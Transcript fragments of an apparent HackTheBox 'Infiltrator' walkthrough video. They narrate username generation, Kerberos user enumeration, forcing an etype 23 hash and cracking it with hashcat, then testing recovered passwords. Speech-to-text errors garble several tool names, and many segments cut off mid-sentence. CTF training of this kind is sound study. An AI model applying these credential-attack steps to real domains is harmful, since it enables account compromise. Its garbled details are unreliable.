And we want to go up until that. Okay. So, we have this matched, but we just want to extract the names. So, I'm going to add is a backslash k to say reset the lookup filter right there. And there we go. We just have a list of the names. We still have the less than sign. So, what I'm going to do is change this to a posi...
347.52
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
So, that's the positive lookup filter. There we go. And I'm going to pipe this over to potential names.ext. And then I'm going to use a tool called username anarchy. So do username anarchy. Then the file of potential names. Uh file not found. Let's tell it the full path. And there we go. We have a list of names. Um thi...
391.759
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
Etsy host. Infiltrator. There we go. HTTP. And then we need the username file, which was potential users.ext. And there we go. And if you're running the development version of Curbroot, which means you have to uh download it from git and then build it yourself. If you just do the release, it's not going to automaticall...
457.36
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
detected Kerros 5 Eype 23 and we are Kerros 5 Eype 18. Oh, that's right. Um I don't think Hashcat can actually crack this format. This is going to be um a better version of the encryption. I think it's like AES and we wanted MD5 or something like that. So to do this um let's get out of hashcat and go back to code brute...
531.519
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
Clark and that file. That is weird.
587.04
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
There we go. We have the E type of 23 now. So, let's go ahead and copy this.
595.68
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
Go back into the Kraken cd hashcat v hashes infiltrate.
602.72
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
Replace that with eype of 23. And now we can do um hashcat. So run this again and hopefully it ends up cracking. Uh recovered one out of one. And if we look we have what question mark? What is my pass? So let's go ahead and save that. And I'm going to reattach my T-Mox. Close out a hashcat. And then let's do um was it ...
609.68
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }
administrator and we get password last set. Um, and we also have K Turner has a password in this. So this is messenger app pass. So let's go ahead and try logging in with K. Turner just to see if this password works. So we can do this password and then K. Turner and nothing. So at this point um we can do two things rea...
685.92
0
{ "video_id": "YD8uatymgLk", "title": "HackTheBox - Infiltrator", "url": "https://www.youtube.com/watch?v=YD8uatymgLk" }